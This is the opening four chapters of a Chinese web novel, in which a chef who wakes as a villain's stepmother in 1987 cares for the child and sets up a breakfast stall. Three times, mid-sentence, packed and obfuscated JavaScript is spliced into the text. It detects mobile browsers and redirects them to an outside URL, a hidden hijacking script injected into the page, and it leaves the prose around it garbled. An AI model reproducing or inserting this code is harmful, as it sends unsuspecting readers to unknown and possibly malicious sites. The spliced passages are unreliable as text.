《苏记小餐馆[八零]》 1. 香喷喷西红柿手擀面 一九八七年，平江市。 中午十二点半，六月梅雨季，闷热伴随着雨水而来，一辆载满家具的货车停在钢铁厂家属院四条巷28号-18的院门口。 “刺啦——” 车轮与地面摩擦出巨大声响，引得各家探窗看。 一个理着平头、蓄着络腮胡的中年男人跳下驾驶室，动作麻利的卸家具搬行李。 片刻，穿着红白波点连衣裙、烫大波浪的美艳女人撑着雨伞，领着一位扎着双马尾的女孩下车。 女人挎着包，牵着女孩径直推开院门，拿出钥匙打开房门，指挥着中年男人一样样的把行李搬进房间。 约摸十来分钟，女人拿出钱递给中年男人，货车又迅速的驶离家属院。 女人正准备回屋关门，正对门邻居突然问了句。 “苏念，你放着商品房不住，咋搬回来住啦？？” “那边房子没了，带着孩子回家住。”苏念看向讲话的中年妇人，吴音软糯道，“林嫂，等我收拾好来家玩。” 说罢，没看妇人脸上明显的错愕和八卦神情，牵着孩子回屋。 淅淅沥沥地雨低落地面，家属院重新归于一片安静，与此形成鲜明对比的则是各家疯狂的讨论声。 白天阴雨连绵，直至傍晚才停歇。空气中满是腐朽发霉的味道，若有似无得游走在房间的每个角落。 苏念将房间的每个角落擦净，才彻底停工。用手扯了扯黏糊粘身上的衣服，长呼一口气。抬眼看了下墙上的钟表，时针指向六。 晚饭时间到了。 视线一转，床角蜷缩着一个约莫四岁，扎着羊角辫，身材瘦削的小姑娘。此时，见她望过去，犹如受惊的小兔子一样，眼神瑟缩，头埋膝盖更深了一点。 见小姑娘受惊，苏念心中一软，长舒一口气，小心翼翼的靠近，坐在床沿边，柔声问道，“颜宝，晚饭想吃什么呀？” 听到她的话，小姑娘湿漉漉的眼睛露出膝盖，一言不吭的盯着她，眼里满是戒备。 两人大眼瞪小眼，许久，苏念无奈败下阵。 抓了下头发，想了想家里的食材，尝试性问了一句，“乖颜宝，咱们今晚吃西红柿手擀面可以吗？” 就在她以为双方又要陷入僵局时，小姑娘轻轻地点点头。 苏念起身把卧室的窗户全部打开，梅雨天要经常开窗散味，不然一股潮湿霉味。 拎着从商品房带来的一点面粉和西红柿鸡蛋去厨房。 钢铁厂家属院一院住两户，共用一个厨房，厕所也是公用的。院子里的另外一家女主人刘春霞，有一儿一女，屋子静悄悄的，应该没下班。 瓷盆里舀两碗半面粉，加入一点盐、一颗鸡蛋，少量多次加水搅成絮状，揉搓成团，擀成皮，切成条。拿出西红柿，开水烫过去皮切成丁，放一旁备用。 土灶起火，铁锅热的泛着白气，倒入一点菜籽油，接着放葱花、西红柿丁，倒入的瞬间，‘刺啦’一声，苏念拿着锅铲快速翻炒，不时往灶膛里添点柴火。 空气中葱花的爆香混杂着西红柿的酸，两种味道交缠重叠，仿佛有意诱惑着味蕾。 翻炒几下，趁机倒入清水，盖上锅盖。 苏念重新坐在板凳上，漆黑的双眸盯着灶膛里燃烧跳跃的火焰，才有空理清两日来的混乱。 她穿进了一本狗血年代文，成了反派女配的恶毒后妈。 按照书中剧情，她作为反派女配江颜的童年阴影，出身孤儿，为了金钱设计嫁给反派她爸-市里第一个万元户，成功的搬进商品房，过上富足的生活。 却在婚后露出真面目，反派她爸忙着生意的事，小孩的衣食住行全部交给她打理。而她收钱不办事，当着人家爸面前乖宝长乖宝短，人后时常让小孩吃不饱饭，恐吓孩子不听话会被扔掉。 后面反派她爸作为第一批下海经商的人，因为政策不明朗出事，家产变卖还债，她携带钱财跑路，后续反派她爸没事放出来，把她逼入绝境自杀。而她成功的给小反派留下童年缺爱加占有欲极强的阴影，导致她长大后喜欢男主喜欢的死缠烂打，刁难女主，成功获得声名狼藉的下场。 眼下，她穿来的时间节点便是反派她爸刚出事，小反派尚未黑化幼崽时期。 水蒸汽滋滋顶着锅盖，苏念回神，起身将锅盖揭开，一阵白雾刹那间充斥着屋顶上方。 锅中水沸腾翻滚，苏念转身抓起面板上的面条放入，筷子搅散。 往灶膛里添了两三根木柴，火焰跳跃。拿出两个海碗，放入盐、酱油，锅内面条翻腾，拿铜勺舀汤浇进碗里，面汤一瞬间融化调料，酸汤味迸发。 拿筷子挑起面条放入汤碗，上面散了点葱丝，西红柿手擀面出锅。 端起面碗，往前屋走去。支起饭桌，把碗放下。 姑娘依旧缩在床角，一声不吭，仿佛房间里没有人一样。 苏念，“颜宝，准备吃饭。” 没有动静，小孩像没有听到似的，只露出一双眼睛一瞬不瞬的看着她。 苏念无奈的叹了口气，回想原身对小孩非打即骂，小孩怕她也是情有可缘，接手身体才两天，忙着收拾烂摊子和搬家，也没来得及安抚小孩。 小孩有戒备心，不能强行亲近，容易适得其反。苏念坐回餐桌，指着其中一碗面，示意是给她的，才开始吃饭。 埋头喝一口汤，西红柿的酸味混杂着面汤，一口下去，胸口温热舒坦，打开了味蕾。 夹起面条送入口中，口齿间满是手擀面的筋道，每一根面条的表面吸满浓郁的番茄汤汁，味道一绝。 苏念想了想，又跑去厨房翻腾出一头蒜。坐回座位，扒去蒜皮，牙齿轻轻一咬，咀嚼间送入一口面。 “呼~舒服，就是这个味。” 苏念是北方人，北方人吃面吃的是筋骨，也流传着一句吃面不吃蒜，味道少一半。北方人也会做面，不论是手擀面、油泼面、杂酱面等，虽然都是面条，但做的味道是各有各的好吃。 后面跑到南方打拼事业，也时常给自己开小灶，来一碗面条抚慰思乡的心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491021|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她自认为厨师生涯中，最拿手的也是面食。 近两天生活的巨大变动中，此时，吃一口亲手做的面条，无形中给予自己精神上的抚慰。 穿书前，她刚拿到厨师界的诺贝尔奖‘金汤勺’，眼瞅着声名大噪，事业步步高升之际，一朝醒来，天地巨变。 坦荡前途不仅没了，还接手了一位留下烂摊子的身体，一个未曾见面的老公，外加一个四岁孤苦无依的女娃娃。 愈想愈悲伤，往嘴里连塞几筷子面条缓解心情。 却在此时，床那边发出动静。苏念眼角余光瞥见小姑娘慢腾腾的穿好鞋子，小心翼翼的走到餐桌坐下。 边坐还边小心的观察她的神色，见她专心吃面条，才挪动面碗至面前，拿起筷子开始吃饭。 这就对了嘛，她不相信自己做的面条能吸引不了小孩。 不要太香好嘛。 苏念眼角含笑，手下动作不停的干完一碗，起身回厨房又盛了一碗回来。 半碗下肚，瞥见小孩一碗面条下肚。 “小颜宝，锅里还有面条，吃完再盛。”苏念说。 一如既往的，没有得到回答。 “宝宝，面条趁热吃才好吃，再给你盛一碗？”苏念再次说。 小孩一双圆溜溜的眼紧紧盯着她不说话，片刻，轻微的点点头。 苏念察觉到小孩的动作，二话不说起身重新装了一碗面摆到小孩的面前。 “能吃完就吃完，吃不完剩下也没事，吃撑人容易难受。” 家里的面碗不大不小，但小孩子吃两碗的量，她怕小孩积食。 一大一小，围在餐桌前呲溜面条。 突然，前院传来小孩的嬉闹声和大人的笑骂。 只听见高昂的一声江淮生家有人的疑问，屋门被人敲响。 “江淮生家那口子？” 女声爽朗泼辣，一如原身记忆中。来人正是住在隔壁屋的刘春霞，性格泼辣，得理不让人。苏念起身开门，笑脸相迎。 “春霞嫂子。” 刘春霞看着眼前笑靥如花的女人，一时晃了神。 “今天刚搬回来，想收拾好再过来拜访的。”苏念一边说一边让开身子请人进屋。 刘春霞风风火火的进屋，“今天下班迟，又去接两个孩子回来晚了。”开玩笑道，“你就是想拜访，家里也没人。” 进屋一眼看见江颜，揪了一下脸，“真乖，都会自己吃饭。”刘春霞转而看向苏念“记得当时你和江淮生搬出家属院，小颜宝还不会拿筷子。” “颜宝，叫刘阿姨。”苏念笑着让颜宝打招呼，小孩乖乖巧巧的叫了一声，继续吃面。 “小军、曼丽，快过来叫人，这是住咱们隔壁的苏阿姨。” 刘春霞笑着答应了声，转身找自家俩孩子，结果见俩小孩没应声，直勾勾的盯着面碗，眼睛放光。 苏念顺着刘春霞视线，一瞅，没忍住笑了。 “锅里还有面条，嫂子，要不要将就吃一口？” 2. 会会反派她爸 “咱家出了两个小馋猫。”刘春霞朗声笑道，“行，你说有多的，我也不假客气。正好我家那口子晚上不回家吃饭，我厚着脸皮带两个孩子在你家吃一碗。” 刘春霞做事向来爽快，和人相处不喜欢勾心斗角，喜欢直来直去。帮着苏念从厨房端出三碗面，在餐桌上坐好，从怀中摸出一元钱塞进苏念手里。 苏念望着手掌心静静躺着的一元纸币，有些愣神。 “我也不白吃，这是我们娘仨的面钱。” 苏念男人出事的事情早就在家属院传遍，刘春霞想着能帮一点是一点，男人不知道能不能安全回家，一个女人带着小孩也不容易。因此，接到邀请吃饭也有意帮衬一下。 “妈妈，超级好吃，超级美味。” 早就拿起筷子开始的小女儿昂着脸，唇周沾满番茄汤汁，眼睛亮亮的看着她。 刘春霞见闺女吃的满足，笑着摸摸女孩的头顶，不自主地对面条的味道起了期待。拿起筷子挑了浸满汤汁的面条送入口中，酸甜浓郁，开胃爽口，手擀面筋道有嚼劲，吃起来非常Q弹。 手边递过一坨蒜瓣，刘春霞二话没说，扒了蒜瓣，一口蒜一口面，眨眼间，一碗面下肚，吃的满头大汗。 “呼~好爽。”刘春霞舌头扫荡了一圈嘴角，“苏念，没想到你做饭手艺这么好，都能去开饭店。” 她本身只是想帮衬一下，没成想一碗西红柿手擀面能让苏念做出花来，味道十成十的好吃。 刘春霞见三个小孩还在埋头吃饭，碗一推，开口，“苏念，你也别怪嫂子说话直，院里传遍了你家的事情，你家那口子事情一时半会也解决不了，你接下来打算怎么办？” 当初江淮生作为第一个万元户，在别人一家三代四五口人挤两间屋子的时候成为第一个搬进商品房的人。一时风光无限，有人羡慕，有人嫉妒。 如今，飞出的凤凰落了难，保不齐有落井下石的人说风凉话。 苏念摩挲着碗边，“先安定下来，再谋求生路。” 刘春霞说的倒是不错，按照剧情线，距离反派她爸没事出来最少半年，这期间她得想办法挣钱把小孩养好。 毕竟反派她爸也没亲人，算下来，小反派只能依靠她。 “行，有需要的尽管开口，能帮上忙的我和我家那口子肯定帮。”刘春霞见苏念心中有数，也放下心来。 三个小孩吃完凑一起玩，她帮着一起收拾好厨房，才带着孩回家洗漱。 苏念给小反派洗漱完哄睡，才拎着椅子，手拿着芭蕉扇进院子坐下。 满天繁星，不同于二三十年后的夜空，此刻的星空似乎伸手便能够到几颗。 夜晚的树叶摇晃，带来一股凉意，苏念有一下没一下的晃着芭蕉扇，脑海里疯狂的思考着接下来的生活。 眼下已经住下来，后面只需要挣钱就行。 她穿书前，半辈子和厨房打交道，唯一的爱好也是下厨。其实不用刘春霞提醒，她也打算干回老本行。 并且，如今的餐饮业不同于三十年后的内卷严重，反而大有可为。 眼下的星空如同儿时记忆中的一模一样，忽闪忽闪，仿佛也在为她加油。 打定主意后，苏念整个人放松下来，安心的欣赏着夜晚的星空。 吱啦一声，门声响动。苏念下意识的回头看去，刘春霞肩上披着一件外套，手里端着洗脸盆。 “苏念，你咋坐院子里？” 刘春霞边说话边把洗脸盆里水泼水池里，盆放在边上，往苏念旁边一蹲。 “我知道你们家发生这么大的变故，搁每个人摊上心里都不会好受。人总要往前走，好好生活。咱们普通人想太多也没有用。” “这样，嫂子帮你留意看看有没有啥适合你工作的岗位，有合适的争取一下。” 刘春霞回身望了望亮着灯光的屋头，“小苏，和你商量个事情，我给你钱，你找到工作之前我家的两个孩子放你家吃中饭和晚饭。你看行不行？” “嫂子，这是你自己的主意还是和许大哥商量好了？” 苏念没想到刘春霞会和她说这事，第一反应是问清楚，这事搞不好容易闹事。她之前开餐馆，经常出类似的事情，妻子预定好包间，丈夫不知道，夫妻俩直接搁酒店吵起架。 关于钱的事情上，问清楚最好。 “哈哈，你放心，这事我和你许大哥肯定商量好的。你也不是不知道我们夫妻俩的情况。” 刘春霞越想越觉得这个事靠谱，她婆婆年纪大搁农村住着，帮不上忙。如今苏念没收入得养孩子，她们有钱顾不上孩子。 她自己在纺织厂干了十多年，如今是车间组长，一个月工资加起来九十五元。老公叫许建国，三十六岁，钢铁厂六级工人，一个月连带奖金津贴各种算在一起一百一十元。两人加起来一百五十多，有时候津贴福利发的多，工资可能更高。 按道理，两人的工资加起来挺多的，养两个孩子绰绰有余。生活理应挺富足快乐的，但问题是两人工作两班倒，很忙，有时候难免顾不上孩子，经常学校放学很久才去把孩子带回来。 孩子正值发育期，吃饭吃好，身高才能跟上。她和老许早想找人帮忙，让孩子在她家吃顿晚饭。 只是一直没有合适的人选。 她今晚看苏念对小孩有耐心，烧饭手艺也好才动了心思，回去立马和老许商量。 当然，苏念同意才行。 苏念，“嫂子，你和许大哥打算给我多少钱一个月啊？” “一个月十五元，菜钱另算。你看行不行？”刘春霞一听有戏，连忙说。 一个月十五元，只是加工费，菜钱另外给。只需要饭多做一点，是一笔比较划算的买卖。 她打算先开早餐摊，购置原材料是一笔不小的花费，正是缺钱的时候。 “好，那从明天开始，两孩子在我这吃晚饭。”苏念点点头。 “那太好了，我要赶紧告诉老许这个好消息。”刘春霞一听见同意，两眼笑眯成弯弯的缝，“小苏，你看会星星赶快回去，院子里蚊子多。我先回屋了。” 苏念见她人拿起洗脸盆，脚步轻快的回屋关门，笑了笑。 仰头，星空闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491022|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烁，手里的芭蕉扇带来一丝凉风。 苏念看了一会儿，拎着椅子回屋。 院子里响起动静，天色蒙蒙亮。苏念打着哈欠，带着小反派出来洗漱正好碰见刘春霞家两个小孩。 许军见她，点点头，“苏阿姨，早上好。” “苏阿姨，我妈妈说从今天开始我和哥哥晚饭在你家吃，我真是太开心了，超喜欢你做的饭。”许曼丽一见她，两眼放光。 “小军、曼丽，快回来吃早饭，快赶不上了。”屋子里传来刘春霞风风火火的喊叫声，两小孩齐声答应。 “颜颜妹妹，中午放学我和哥哥去接你，咱们一起回家。”许曼丽跑回屋时朝着懵懵懂懂的江颜打招呼，又火急火燎的离开。 苏念低头见小孩嘴抿成一条直线，望着许曼丽离开的方向发呆。 “颜颜，曼丽姐姐放学找你玩。咱们也去上学好不好？”苏念蹲下朝着小孩商量。 小反派一直在钢铁厂家属院托班上学，她爸出事才请假在家。如今也有一段时间，该送小孩回学校。 盯着小孩，期待着她开口说话。 “好。” 出乎意料的，小孩开了口，两只水葡萄似的眼睛直溜溜盯着她，声音糯糯的，奶奶的，还挺好听。 “行，咱们洗漱吃饭，上学校。”苏念心一软。 忙忙碌碌的把小孩收拾好、吃完饭，马不停蹄的送入托班已经是八点半左右。 和小孩约定好接送地点时间，苏念捏着全部家当往供销社奔去。 她昨晚合计了资金，盘点了当下的物价和市场环境，目前最适合她入行做的生意是小成本的早餐摊，投入资金少，效益回报最快。 供销社花了5元买了粮米油盐，又跑去百货商铺买了碗碟筷子等等，基本上把开早餐摊需要用的材料买一遍。 差人送回来，清点了一遍，确认没有任何遗漏才放心。把老旧的人力三轮车洗刷好，晾晒在院子里。 事情忙完，苏念洗把脸，才把身上适合干活的长袖长裤脱下，换成纯白麻连衣裙，长发编成两股辫垂落在胸口。 望着镜子里的清纯美人，苏念心情特好。 拎着小包准备出门，家安定好，该去会会小反派她爸。 小反派她爸在市区公安局，从家属院到市公安局走路三十五分钟，坐公交车五分钱一张，二十分钟。 鉴于眼下没啥本钱，苏念毫不犹豫的选择坐公交车。 搭上公交车，车上人挤人，车身摇晃，苏念勉强站稳，闻着周遭汗臭味，绝望的仰头望天。 二十分钟后，苏念如释重负的下了公交车，往市公安局走时，心里无限怀念拥有汽车的舒爽。 苏念在市公安局接访室坐下已经是十五分钟后，双手交叉，等待小反派她爸。 此行的目的为了打消反派她爸的仇恨值，为两人日后的友好分开打下坚实的基础。 没错，眼下照顾小反派是情势所迫。可她没有给人当后妈的癖好。 接访室门一推，警察后跟着一个身高一米八五、满脸青胡茬的男人出现。 3. 炸藕圆 警察站在一旁，男人在木桌的对面坐下。双手交叉搭着，衬衫下的肌肉紧绷，头发没有修理长过眉毛，搭在眼睫，眼眸低垂，看不清情绪。 此次，算两人的第一次见面，相顾无言。 “我会照顾好江颜的。” “能不能拜托你照顾好江颜。” 几乎是同一时间，两人同时出口。 江淮生下意识的抬眼，掩藏不住的惊愕，握紧的手松了松，再次握紧。 他比谁都清楚眼前的女人是因为钱选择嫁给他。恰恰，眼下他没有的便是金钱。出事后，最担心的是女人扔下孩子跑路。 “谢谢。” 苏念敏锐观察到在她给出承诺照顾小反派时，男人的肩膀一松，没有刚见面的紧绷感。 她便知道此行的目的达成。 大佬，希望你后面东山再起，可千万不要搞我。我都如此保证照顾你家小闺女，应该能消除你内心的怨恨。 “探视时间快到，有话快说。”一直站在旁边的警察看了腕表，沉声提醒道。 江淮生再次抬眼，语调没了一开始的冷漠，“家里剩下的钱全部给你。” “不是什么大事，肯定会没事的，你放宽心。”苏念趁机再刷一波好感。 毕竟按照剧情线，你不仅能出去，而且事业版图会加速扩张，成为平江市首富，为小反派打下丰厚的财富基础来凌虐男主。 “探视时间到。”旁边的警察适时的押解男人起身。 江淮生见对面女人笑靥如花，不明白她为什么对自己如此的信任，说句实话，他有些迷茫。 男人没有说话，向她轻点了下头，起身跟着警察离开。 苏念解决完心头大事，出了公安局，天空晴空万里。 苏念抬手看了下表，十点半，距离小反派放学只剩下不到半小时，中午得接孩子回家吃饭。 搭乘最近的一班车，接小孩的路上买了菜，到学校门口时，小反派和许家兄妹俩乖乖的蹲在校门口。 “颜宝、小军、曼丽，我在这。”苏念远远地招呼，三个小孩看见她，不约而同的朝她奔来。 “苏阿姨，我们今天吃什么啊。”许曼丽笑嘻嘻的接过菜，“我们超级期待的，是不是，颜颜妹妹。” 刘春霞家的两个小孩，许军10岁，读小学三年级，许曼丽6岁，读小学一年级。一个沉稳，一个活泼话多。 苏念顺着许曼丽的视线看小反派，像是发现新天地一样，小孩意外顺从的点点头，身子紧贴着曼丽。 “颜颜妹妹，你好乖啊。下午跟着姐姐一起上学呀。”许曼丽见扎着双马尾、小萝莉的妹妹乖巧点头，心都萌化。 “苏阿姨，我们可以回家了吗？”许军接过妹妹手里的菜。 苏念望着乖巧的三个孩子，心情飞扬，大手一挥，“回家！” 三个孩子回家，许军坐在饭桌上温习功课，许曼丽带着江颜搁院子里玩。 苏念拎着菜去厨房，拿出一个铁盆放满清水，把几节藕扔进去，清洗干净削皮，用刀背一点点的砸烂，扔进盆里。 猪肉清洗干净，切成小块，剁成颗粒放盆里，拿筷子搅拌，不时倒入浸泡好的葱姜水去腥，微微发黏，倒入调味品，把剁烂的藕放入，再加入一点点面粉，快速搅拌搅上劲。 她今天打算给三个孩子做外焦里嫩的炸藕圆，这道菜特受小孩们喜欢，之前总是登上餐馆菜单最前列。 烧火，倒油，油温四五成热，全程小火，蒯一勺放入锅里，先放入不要搅，等定型后搅动，炸的外面金黄，可以出锅。 拿盘子盛好，端出去，叫三个孩子洗手先吃点垫垫肚子。 许曼丽带着江颜洗完手回来，迫不及待的拿一个放入嘴中。刚出锅的藕圆带着锅气，小孩被烫的吱哇乱叫，却也不肯吐出。 苏念连忙让三人晾晾再吃。回厨房拿了三根筷子，戳在藕圆上，分给曼丽和小军，剩下的一根吹凉才递给小反派。 “颜宝，喏，给你。”苏念蹲下直视小孩的眼睛，“吹凉了再吃，容易烫伤。” “苏阿姨，你炸的藕圆好香啊。”许曼丽一边狼吞虎咽的吃藕圆，一边竖起大拇指夸赞道。 苏念忍不住失笑，伸手摸了摸她的头，“好吃就多吃点，厨房还有。” 见时间差不多，赶紧回厨房炒菜。 许曼丽见人走了，赶紧又拿一个藕圆塞进嘴里，边塞边羡慕的对着江颜说，“颜颜妹妹，我真的好羡慕你啊，你妈妈做饭超级香超级好吃，怕你烫还给你吹凉。” 说完又拿起一个圆子塞进嘴里，又是被烫的龇牙咧嘴。 江颜盯着筷子上插的藕圆，又看着离开的背影，眼中出现了迷茫。 妈妈，好像对她变好了。 苏念不知道孩子们聊了啥，她只知道得加快速度做饭。两锅同时烧起，不多时，端了一盘土豆丝、西红柿鸡蛋、红烧鸡腿出来，三个孩子狼吞虎咽的吃完。苏念收拾碗筷，催着孩子们午睡一会去学校。 见孩子们睡着，苏念才端小板凳进院子里改造餐车。 如今手里资金不够，也没办法找人改造。等后面挣钱再说。还好后世餐车改造已经成熟，也不用她费心想设计。 用一块木板放在三轮车上，掏出一个洞放煤炉，再寻四根木棍做餐车框架，后面再写个广告牌便大功告成。 工程量有些大，一个下午肯定做不完。苏念思前想后，打算从最简单的广告牌做起。拿出预先准备好的木板、水笔，开始写菜单和店名。 早餐摊一开始得控制成本，品种也得控制。她打算先上茶叶蛋和菜煎饼。 茶叶蛋可以提前一天煮好，浸泡一夜更能入味，也能节省时间。菜煎饼可以控制原材料，焦香酥脆压肚子。 她踩过点，打算把摊子设在钢铁小学门口。早上送江颜时发现学校门口客流量挺大，几乎汇聚了附近几个区的大人小孩。目前校门口已经有两家小吃摊。 辛辛苦苦的把广告牌做好，起身叫三个小孩起床，送她们去学校。 目送三个孩子进校，苏念捏着钱往百货大楼奔去。她得买一个铸铁厚板锅摊煎饼，还得买一些容器装调料。 一个下午在百货大楼挑挑拣拣才选出满意的板锅。带着挑选好的调料盒等原材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491023|185863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 料回家，也到了孩子们放学时间。 苏念东西放下，正准备出门接孩子，只见许建国和刘春霞带着三个孩子有说有笑的回来。 三个孩子，每个人手里拿着一根冰棍。 “小苏。”刘春霞抬眼见她，连忙快步迎上，“我和你许大哥今天下班早，把孩子们接回来了。你做饭没？没做饭我来做，咱们一起吃。” “我听曼丽讲了，你中午做的饭可香，她吃两碗大米饭和很多圆子。” 刘春霞最大的心事便是两个孩子吃不好饭，如今心头大患解决，心情舒爽高兴。 苏念回了句没有，等孩子们靠近，接过江颜背上的书包，才和刘春霞手挽手回院子里。 “小苏，你是打算做买卖？” 随后进来的许建国见院子里餐车半成品和广告牌，随口问了句。 “是呀，得挣钱吃饭。”苏念笑道，“总不能坐吃山空。” “我看你这也没弄好，你打算怎么弄和我们家老许讲，他做这些很在行。”刘春霞一听，指挥许建国，“老许，你来弄。” 许建国见自家女人发话，无奈笑着摇摇头，回屋放下东西，出来时已经带着工具箱，问苏念咋弄。 两口子如此热情，苏念也不好拒绝，说了大概思路，才揽下晚饭的任务，见江颜乖乖的和许曼丽在院里玩才放心的进厨房。 刘春霞跟进来帮忙，接了洗菜的活。 苏念打算今晚做菜煎饼，给他们尝尝味道如何，调研一下。 菜煎饼的灵魂在于面糊的调配，按照比例放入面粉和清水，加入一小撮盐，顺着一个方向不停的搅拌至没有干粉的状态。 把淘来的锅清洗好，放在煤炉上，开好锅，才正式摊煎饼。 菜煎饼追求外脆里嫩，所以需要能够蒸汽焖熟的工艺。在现在的时代背景下，铸铁厚板锅是最好的选择。放在二十一世纪，科技飞速发展的时代，电饼铛可以替代板锅。 摊煎饼很快，一张一张的出锅。刘春霞按照她教的那样把各种蔬菜切成丝，该杀水的杀水，放不同的盆里。 苏念把各种调料放在容器里，东西放在摆放在院子里的饭桌上，招呼小孩们过来。 “你们喜欢吃什么菜加什么菜，嫂子，我先给你弄，你想吃啥和我说，可以加辣椒。” “我爱吃白菜……加一点点辣椒。”刘春霞第一次见，有些新奇，点了几样喜欢的菜。 只见苏念把她点的几样菜放入小铁盆里，又放了调味料和一点辣椒面，顺时针方向快速搅拌，放在一旁。把摊好的饼重新放在板锅上，加热两分钟，饼下放入鸡蛋液，翻面，倒入蔬菜，再拿出一张饼盖上，用铲子不断的按压。锅蒸汽焖熟蔬菜，迸发出诱人的香味。翻面煎至表面金黄。 “诺，嫂子，好了。”苏念见差不多盛起递给刘春霞，“趁热吃，小心饼里面烫嘴。” “许大哥，你吃啥菜？” 刘春霞退开让自家老许点菜，才望着手里表面金黄的饼，诱人的香味不断的钻进鼻间，忍不住咬了一口，咔嚓一声，焦香酥脆，随后是蔬菜和鸡蛋的清爽，加了辣椒，香而不腻。 4. 焦香酥脆菜煎饼 给每个人摊了菜煎饼，给三个孩子摊了比较软和一点，适合小孩子的牙口。 每人抱着一张煎饼在院子里找个地方蹲下。 苏念给自己摊的饼比较辣，加上菜香和饼皮的酥脆，简直人间美味。 “人间美味~苏阿姨，你做饭太好吃了，我能不能一天三顿饭都在你家吃啊？” 许曼丽吃的满嘴是油，昂着小脑袋瓜满足的喟叹。 “小没良心的，我做饭不好吃啊？”刘春霞见小闺女吃美的样子，忍不住笑骂道。 许曼丽一把抱住刘春霞的胳膊撒娇，母女俩嬉笑一番，苏念笑看了一会儿，收回视线看蹲在旁边的江颜。 “你吃饱了吗？嘴巴全是油，擦擦。” 顺手拿出手帕给小孩擦了嘴角，能明显感觉小孩身体僵住两秒，才放松下来。 江颜抬眼看过来，沉默的点点头。身体微微靠近她，不再紧绷。 吃完饭，刘春霞收拾厨房碗筷，苏念跟着进去弄茶叶蛋，三个孩子在院子里玩。许建国继续弄餐车。 六月份的平江市，天气渐渐热了，知了叫声类似白噪音，给人一种平静，院里传来孩子们嬉闹声。 苏念今天去供销社一共买了三十个鸡蛋，明天第一天摆摊，不敢一下弄太多，万一卖不出去。 刘春霞洗完碗筷帮着烧火，两人边做事边聊天。 鸡蛋清洗干净扔锅里，煮熟捞出过凉水，用勺背敲碎蛋壳，重新起锅放入鸡蛋，将配好的花椒八角茶叶等卤料扔入。倒入老抽、生抽，加没入鸡蛋的水，烧水开继续煮半个多小时。 苏念把卤料倒入，“嫂子，你去带着孩子们洗漱，我来烧火。” 刘春霞也没推脱，利索的起身拍拍身上，笑眯眯的离开。 灶膛里的火焰跳跃，铁锅里冒出阵阵雾气，随着时间的流逝，香味愈发的浓郁。 三十分钟后，茶叶蛋才卤好。拿出提前洗刷干净的铝锅，将鸡蛋盛进去，盖上锅盖浸泡。用小碗装了五个鸡蛋进前院。 院子里欢声笑语,苏念进前院时，三个洗漱好的孩子们一人拿着一个芭蕉扇乘凉，餐车已经被许建国组装好，广告牌板板正正的挂在三轮车侧边。 “小苏，快坐下歇歇，你看看老许弄得餐车行不行？”刘春霞率先看见苏念，扬高声调。 苏念进来，将茶叶蛋挨个发完，才走到餐车前仔细端详。 煤炉已经被许建国塞在车里，车斗上面铺一层木板，车斗下面放一些调料、杂物、碗筷之类的。 “小苏，你搬回来短短两天，咱们家的伙食比之前好多了。”刘春霞一个茶叶蛋下肚，发出喟叹，“你做的茶叶蛋肯定不愁卖。” 茶叶蛋每人都会做，可每个人做的味道不同。有的人蛋腥味重、卤料没腌入味，有的吃蛋黄噎人。 “借嫂子吉言。”苏念看完餐车，非常的满意，洗手坐回去，扒一个茶叶蛋送入口中。 味道是对的，只是没有特别入味，明早吃才刚刚好。 一颗鸡蛋入肚，又坐着和刘春霞闲扯天，等许建国洗澡出来，人才散去。 苏念把小反派在床上安置睡好，才拎着衣服去冲凉。回来时发现小孩已经熟睡。 小心翼翼的上床，拉灯躺下，思考着明天开业第一天可能出现的问题。 房间静悄悄的，突然，胳膊传来一阵温热。 苏念看去，小孩软乎乎的小脸蛋贴着她的手臂，小手搭在她的肚子上，嘴角流着口水，熟睡的像一只猫咪。 她记得刚穿书和小反派睡一张床时，两人之间似乎隔着一条银河系。如今，小人儿能贴近自己，是不是代表着她稍稍的对她产生了一些信任。 只是小孩身上没多少肉，后面得好好的养回来。四五岁的小孩肉多才可爱。 明天得早起，苏念翻腾了两下，闭上了眼。 凌晨五点二十，四条巷偶有几声狗吠，刘春霞起床洗漱完便见后院厨房亮着灯。 女人穿着白色长袖，干净利索的扎进深色牛仔裤里，乌黑长发挽成丸子头。正低头切菜，面前桌上盘子里已经盛好四五个切好的蔬菜。 “嫂子，锅里有早饭。你要不要吃一点？”苏念抬眼见门口站着刘春霞。 “你几点起床的啊？”刘春霞听后揭开锅盖，见锅里是煮好的稀饭。 “四点多，今天打算出摊得起床早点准备。” 做餐饮挣的都是辛苦钱，早起贪黑挣那么一点钱。 刘春霞吃完早饭时，三个孩子也陆陆续续的起床吃饭。收拾妥当，帮着苏念一起把东西搬到钢铁小学门口。 